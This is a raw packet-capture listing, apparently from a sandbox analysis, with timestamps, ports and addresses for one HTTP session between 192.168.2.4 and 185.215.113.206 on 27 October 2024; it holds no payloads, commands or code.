Oct 27, 2024 12:13:16.892188072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892188072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892188072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892188072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892188072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892194033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892199039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892199039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892230988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892260075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.892292976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894622087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894664049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894701004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894726992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894763947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894798994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894834042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894864082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894864082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894864082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894864082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894872904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.894896984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.894926071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895036936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895097017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895136118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895188093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895283937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895343065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895349979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895386934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895411968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895440102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895575047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895608902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895632029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895646095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895658016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895678043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895697117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895728111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895884037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895919085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895942926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895955086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.895967960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.895992041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896003962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896039963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896262884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896300077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896322012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896365881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896533012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896569014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896598101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896603107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896627903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896640062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896651983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896676064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896691084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896712065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896727085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896749973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.896761894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.896796942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.897438049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897469044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897497892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.897521973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.897603035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897639990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897671938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.897685051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.897923946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897958994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.897981882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.898008108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.939876080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.939922094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.939959049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.939990997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.939996958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.940028906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.940068007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.940149069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.940234900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.940234900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.940234900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.940234900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.940234900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.981626987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.981679916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.981718063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.981993914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009198904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009279013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009325981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009367943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009407043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009460926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009495974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009530067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009547949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009572029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009572029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009572029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009582043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009608030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009622097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009651899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.009831905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009831905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.009831905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.011785984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.011847019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.011878014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.011898041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.011933088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.011972904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012007952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012031078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012042999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012068987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012130976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012198925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012233973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012259007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012268066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012298107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012334108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012455940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012490988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012517929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012525082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012552977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012589931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012798071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012833118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012860060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012875080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012896061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012909889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012932062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012945890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.012968063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.012980938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013001919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013016939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013036013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013063908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013372898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013464928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013483047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013503075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013533115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013581991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013653994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013689041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013724089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013760090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013797045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.013884068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013884068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013884068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013884068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.013926983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014020920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014077902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014455080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014488935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014518976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014524937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014542103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014559984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014574051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014595985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014612913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014631033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014652014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014667988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.014683008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.014719009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.015189886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.015224934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.015249014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.015258074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.015274048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.015311003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.057315111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057351112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057369947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.057372093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057389021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057410955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057410955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.057436943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.057456017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.057482958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.057517052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.098545074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.098575115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.098592997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.098613977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.098642111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.125924110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.125948906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.125963926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.125988007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126014948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126029015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126044989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126075029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126123905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126135111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126168013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126183987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126215935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126290083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126307964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.126332045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.126351118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.128818035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.128868103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.128878117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.128902912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.128917933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.128945112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129204035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129218102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129240990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129260063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129260063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129281998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129285097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129303932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129329920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129334927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129350901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129369974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129379988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129396915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129420042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129513025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129555941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129599094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129614115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129637003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129664898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129777908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129795074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129818916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129843950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129847050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129863024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.129885912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.129908085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130023003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130038977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130067110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130106926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130129099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130168915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130269051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130284071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130301952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130315065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130320072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130342960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130383015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130530119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130543947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130578041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130606890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130625963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130640984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130666018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130692005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130834103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130848885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130865097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130881071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130882025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130902052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.130904913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130924940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.130964041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131177902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131194115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131227970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131238937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131251097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131257057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131275892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131280899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131294966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131315947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131326914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131355047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131648064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131685972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131700039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131701946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.131728888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.131756067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.174268961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174283028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174292088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174305916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174484968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.174561024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174575090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174599886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174614906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.174622059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.174642086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.174685001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.216021061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.216073990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.216113091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.216461897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.243478060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243536949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243557930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243592024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243611097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243628979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243664980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243700981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.243815899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.243881941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246185064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246280909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246314049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246458054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:17.246568918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:17.246623039 CET	80	49730	185.215.113.206	192.168.2.4
